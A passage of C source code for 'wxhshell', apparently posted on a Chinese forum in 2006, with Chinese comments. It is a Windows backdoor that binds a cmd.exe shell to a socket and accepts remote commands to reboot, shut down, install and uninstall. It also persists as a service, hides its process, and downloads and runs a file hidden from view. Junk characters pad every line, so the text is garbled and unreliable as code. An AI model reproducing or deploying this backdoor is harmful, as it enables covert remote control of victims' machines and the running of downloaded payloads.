  } #Yp&yi }  
  // 安装 fO^s4gWTg  
  case 'i': { _dCDT$^&r  
    if(Install()) YDYNAOThnb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HrFbUK@@  
    else $3&XM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XkoPN]0n  
    break; +t&)Z  
    } ;V?(j 3b[  
  // 卸载 "cly99t  
  case 'r': { ZF#n(Y?  
    if(Uninstall()) 'Z9UqEGV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |JWYsqJ0U  
    else n c~JAT# '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :AqtPV'  
    break; *&_cp]3-WF  
    } aj .7t =^  
  // 显示 wxhshell 所在路径 )1@%!fr  
  case 'p': { /uDcJ1u66  
    char svExeFile[MAX_PATH]; gM]E8%;{  
    strcpy(svExeFile,"\n\r"); B^zg#x#8  
      strcat(svExeFile,ExeFile); WS.g` %  
        send(wsh,svExeFile,strlen(svExeFile),0); P_  8!Gp  
    break; Z02EE-A  
    } xw_$1 S  
  // 重启 WJa7  
  case 'b': { F:jtzy"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9xw"NcL  
    if(Boot(REBOOT)) dBovcc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_x} -  
    else { V:P]Ved  
    closesocket(wsh); A:z  
    ExitThread(0); .H qJ)OH  
    } h <$%y(lP  
    break; opN4@a7l  
    } 0o6o<ggi  
  // 关机 Jc]66   
  case 'd': { LN<rBF[_:f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @W$ha y  
    if(Boot(SHUTDOWN)) ~Jsu"kr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88[u^aC  
    else { Q!=`|X|:  
    closesocket(wsh); EK0~ 3HSZ  
    ExitThread(0); 60A!Gob  
    } 4t/?b  
    break; r%X M`;bQX  
    } W7_m,{q  
  // 获取shell VnB HQ.C  
  case 's': { EowzEGq!a5  
    CmdShell(wsh); _!Tjb^  
    closesocket(wsh); <Uf`'X\e6  
    ExitThread(0); Cd]A1<6s  
    break; a&)!zhVP  
  } P(Zj}tGN  
  // 退出 <u0}&/  
  case 'x': { >py[g0J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o~"Y_dLsW  
    CloseIt(wsh); 5_L,7\5#  
    break; vZ$E [EG}  
    } FyPG5-  
  // 离开 qIQ 61><  
  case 'q': { VQG$$McJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VSV]6$~H  
    closesocket(wsh); YPY,g R  
    WSACleanup(); 7j&EQm5\9  
    exit(1); Yjd/  
    break; _G.!^+)kEm  
        } =ePX^J*M'  
  } N1.1  
  } Lz-|M?(  
8d Fqwpw8  
  // 提示信息 Y hmveV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WDV=]D/OE  
} 6d/v%-3  
  } gV h&c 4  
xWK/uE(  
  return; kz6fU\U  
} 5ZH3}B^L$  
Y{#*;p*I  
// shell模块句柄 34k>O  
int CmdShell(SOCKET sock) $9r4MMs{$  
{ L%{YLl-zf]  
STARTUPINFO si; dw5"}-D  
ZeroMemory(&si,sizeof(si)); } snS~kx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GQd[7j[sh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dr=$}Y  
PROCESS_INFORMATION ProcessInfo; ~!g2+^G7+P  
char cmdline[]="cmd"; Jmg9|g!f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BYhiP/^  
  return 0; x^pt^KR;  
} N'aq4okoL  
]vs}-go  
// 自身启动模式 B>=D$*_  
int StartFromService(void) =2NrmwWZs  
{ W+U0Y,N6  
typedef struct JZ5";*,  
{ birc&<  
  DWORD ExitStatus; -U A &Zt  
  DWORD PebBaseAddress; JXq!v:w6  
  DWORD AffinityMask; ~jHuJ` ]DF  
  DWORD BasePriority; 'r\RN\PT  
  ULONG UniqueProcessId; I^u~r.  
  ULONG InheritedFromUniqueProcessId; Kr1Y3[iNv  
}   PROCESS_BASIC_INFORMATION; `#8kJt  
IhZn  
PROCNTQSIP NtQueryInformationProcess; /N<aN9Z<x,  
enQW;N1_M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a8ouk7 G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %l a1-r~  
c?}G;$  
  HANDLE             hProcess; Wwg<- 9wAJ  
  PROCESS_BASIC_INFORMATION pbi; cS:O|R#%t  
UpE +WzY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }' Y)"8AIA  
  if(NULL == hInst ) return 0; v'Ehr**]+  
e?B}^Dk0i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C8T0=o/-`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p8@&(+z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FkuD Gg~a  
>qr/1mW  
  if (!NtQueryInformationProcess) return 0; [{GN#W|AGP  
d6JW"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zF>;7'\x  
  if(!hProcess) return 0; Umzb  
>$- YNZA   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -\;0gnf{J  
]$9y7Bhj.  
  CloseHandle(hProcess); Ml{ ]{n  
?nbu`K6T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EQd<!)HZ  
if(hProcess==NULL) return 0; 1y wdcg  
$0 vT_  
HMODULE hMod; xf,A<j (o  
char procName[255]; r<:d+5"  
unsigned long cbNeeded; uP r!;'J=  
G `!A#As  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;s3\Z^h4kd  
eiyr^Sch.  
  CloseHandle(hProcess); 1j op;{,^  
} S]!W\a  
if(strstr(procName,"services")) return 1; // 以服务启动 jn(!6\n"  
: #?_4D!r  
  return 0; // 注册表启动 ~"J1 @<  
} e`LkCy[_  
vxC];nCC#  
// 主模块 'bSWJ/;p)  
int StartWxhshell(LPSTR lpCmdLine) %,HUn`  
{ :3 Hz!iZM  
  SOCKET wsl; 2PRiiL@  
BOOL val=TRUE; >JsVIfAF  
  int port=0; Z}\,rex  
  struct sockaddr_in door; 6S_mfWsi  
[TUs^%2@  
  if(wscfg.ws_autoins) Install(); <;?1#ok  
39 zfbxX  
port=atoi(lpCmdLine); ZN;ondp4  
ISFNP&& K  
if(port<=0) port=wscfg.ws_port; esBv,b?*  
[r3sk24  
  WSADATA data; Eri007?D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $%"hhju  
N"G\ H<n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '\op$t/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w2XHY>6];  
  door.sin_family = AF_INET; z[<Na3]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bt,'g* Cs  
  door.sin_port = htons(port); s5mJ -  
RN[x\",  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lMu-,Z="  
closesocket(wsl); ,tg]Gt  
return 1; $MwBt  
} fmQif]J;;  
FGyrDRDwC  
  if(listen(wsl,2) == INVALID_SOCKET) { hE`d@  
closesocket(wsl); !z4I-a  
return 1; ]a&riPh"  
} zx2`0%Q  
  Wxhshell(wsl); K\;4;6 g  
  WSACleanup(); 7.ein:M|CB  
Wex2Fd?DO  
return 0; ED79a:  
U!c+i#:t  
} A- Abj'  
oi,KA  
// 以NT服务方式启动  1hi, &h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /}6y\3h  
{ wL3RcXW``e  
DWORD   status = 0; V?"U)Y@Y  
  DWORD   specificError = 0xfffffff; f"*4R kG  
=P9rOK=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k \T]*A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G<<; a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q(yg bT  
  serviceStatus.dwWin32ExitCode     = 0; !^98o:"x  
  serviceStatus.dwServiceSpecificExitCode = 0; ;}U]^LT=  
  serviceStatus.dwCheckPoint       = 0; H!X*29nX  
  serviceStatus.dwWaitHint       = 0; W5Pur lu?  
HpIi-Es7C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &-Wt!X 3  
  if (hServiceStatusHandle==0) return; 8N9,HNBT$  
mk!8>XvM  
status = GetLastError(); w42{)S"  
  if (status!=NO_ERROR) SC4jKm2  
{ sH2xkUp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XP%_|Q2X  
    serviceStatus.dwCheckPoint       = 0; 7_qsVhh]$E  
    serviceStatus.dwWaitHint       = 0; |ZifrkD=  
    serviceStatus.dwWin32ExitCode     = status; VWK/(>TP  
    serviceStatus.dwServiceSpecificExitCode = specificError; CL7 /J[TS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;y@zvec4  
    return; kJOZ;X=9/  
  } LK*9`dzv=G  
^b|? ?9&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bf2n%-&9g  
  serviceStatus.dwCheckPoint       = 0; MoEh25U.  
  serviceStatus.dwWaitHint       = 0; M.MQ?`_"b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " a'I^B/  
} N: 38N  
$yj*n;  
// 处理NT服务事件,比如:启动、停止 2 V\hG?<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >!" Sr3,L  
{ 1pDU}rPJ.  
switch(fdwControl) :R:@V#Y  
{ tK{#kApHGG  
case SERVICE_CONTROL_STOP: <zvtQ^{]  
  serviceStatus.dwWin32ExitCode = 0; _4SZ9yu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; # .(f7~  
  serviceStatus.dwCheckPoint   = 0; u^E0u^  
  serviceStatus.dwWaitHint     = 0; ELMz~vp  
  { d#bg(y\G|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %P<fz1  
  } h,BPf5\S  
  return; $t"QLsk0  
case SERVICE_CONTROL_PAUSE: +N+117m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *& );-r`.  
  break; Sw-2vnSdM  
case SERVICE_CONTROL_CONTINUE: Z> Rshtg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :PY8)39@K  
  break; 9 4lt?|3=  
case SERVICE_CONTROL_INTERROGATE: XfMUodV-OZ  
  break; <'sm($.2  
}; %_p]6doF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !J<0.nO/:  
} 4[;}/-  
b 1Wz  
// 标准应用程序主函数 [] "bn9 +  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )t-P o'RW  
{ _1$Y\Y  
yW7>5r  
// 获取操作系统版本 rZ-< Ryg  
OsIsNt=GetOsVer(); 1)ij*L8k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tlvZy+Blv  
E2cZk6~m{  
  // 从命令行安装 ZK'WKC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4s_5>r4  
[`tNa Vg  
  // 下载执行文件 CA&VnO{r  
if(wscfg.ws_downexe) { $/#[,1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ;ud"1wH  
  WinExec(wscfg.ws_filenam,SW_HIDE); b|kL*{;  
} "o u{bKe  
i-4L{T\K  
if(!OsIsNt) { 2MYez>D  
// 如果时win9x,隐藏进程并且设置为注册表启动 lAC "7 Z?F  
HideProc(); j^U"GprA  
StartWxhshell(lpCmdLine); tIod=a)  
} $;=?[Cn  
else ?^7X2 u$nm  
  if(StartFromService()) $w-@Oa*h9U  
  // 以服务方式启动 7MJ\*+T|03  
  StartServiceCtrlDispatcher(DispatchTable); Ujvm|ml  
else \ /Q~C!  
  // 普通方式启动 X#ha*u~U  
  StartWxhshell(lpCmdLine); *x p_#  
D[6sy`5l  
return 0; ".#h$  
}
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只看该作者 1 发表于: 2006-10-10
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